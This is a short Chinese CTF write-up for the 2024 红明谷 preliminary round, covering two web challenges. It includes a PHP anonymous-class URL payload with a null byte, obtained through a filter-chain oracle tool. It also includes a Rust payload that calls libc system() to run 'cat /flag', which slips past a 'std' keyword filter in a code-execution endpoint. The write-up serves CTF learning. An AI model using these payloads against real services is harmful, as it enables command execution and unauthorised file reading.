【Web】2024红明谷CTF初赛个人wp(2/4)

目录

ezphp

playground


时间原因只打了2个小时,出了2道,简单记录一下

ezphp

参考文章

PHP filter chains: file read from error-based oracle

https://github.com/synacktiv/php_filter_chains_oracle_exploit

用上面的脚本爆出部分源码,直接/flag.php?ezphpPhp=1访问

创建了一个匿名类

参考文章:

php匿名类 - Hi! 阿金

最终payload:

复制代码
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

🤬本地通了,远程一直not found,重开靶机后一样的payload直接打出来了

playground

进题是一段rust代码

重点关注post的/rust_code这个路由

复制代码
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}
  1. 首先,函数检查输入的代码是否包含了"std",如果包含,则返回一个错误消息,表示不允许使用标准库(std)。

  2. 然后,函数生成一个随机的长度为5的文件名,该文件名用于存储接收到的Rust代码。

  3. 接着,函数尝试创建一个名为playground/{}.rs的文件,其中{}会被随机生成的文件名所替代,并将接收到的代码写入文件中。

  4. 接下来,函数使用Command::new("rustc")创建一个Rust编译器的命令,该命令编译刚刚创建的Rust源代码文件,并传入了一些编译选项,例如关闭调试信息和设置优化级别。

  5. 如果编译成功,则继续执行下一步,否则删除刚创建的Rust源代码文件,并返回编译器输出的错误消息。

  6. 如果编译成功,函数继续使用Command::new(format!("playground/{}", &file_name))创建一个命令,该命令运行刚刚编译生成的可执行文件。

  7. 如果运行成功,则返回程序的标准输出结果,否则删除生成的可执行文件,并返回程序的标准错误输出结果。

  8. 最后,无论是编译失败还是运行失败,都会删除生成的Rust源代码文件,并返回一个空字符串。

payload:

复制代码
extern "C"{
    fn system(cmd: *const u8) -> i32;
}
fn main(){
    unsafe{
        system("cat /flag".as_ptr());
    }
}

直接放请求体里即可

相关推荐
百锦再5 小时前
五种常用的web加密算法
前端·算法·前端框架·web·加密·机密
牧码岛9 小时前
Web前端之Vue+Element实现表格动态不同列合并多行、localeCompare、forEach、table、push、sort、Map
前端·javascript·elementui·vue·web·web前端
sszdlbw15 小时前
BUUCTF-web刷题篇(19)
web安全·web·安全漏洞·buuctf
sszdlbw2 天前
BUUCTF-web刷题篇(17)
安全·web安全·web·buuctf
sg_knight2 天前
Flutter性能优化终极指南:从JIT到AOT的深度调优
前端·flutter·性能优化·web·dart
sszdlbw3 天前
SSRF漏洞利用的小点总结和实战演练
web安全·web·安全漏洞
禹曦a4 天前
Web开发:常用 HTML 表单标签介绍
前端·html·web
huan666*5 天前
CTF类题目复现总结-hashcat 1
ctf·office文件密码破解·john工具使用
暮湫5 天前
javaWeb axios
java·web
百锦再7 天前
React编程高级主题:错误处理(Error Handling)
前端·javascript·react.js·前端框架·vue·web·angular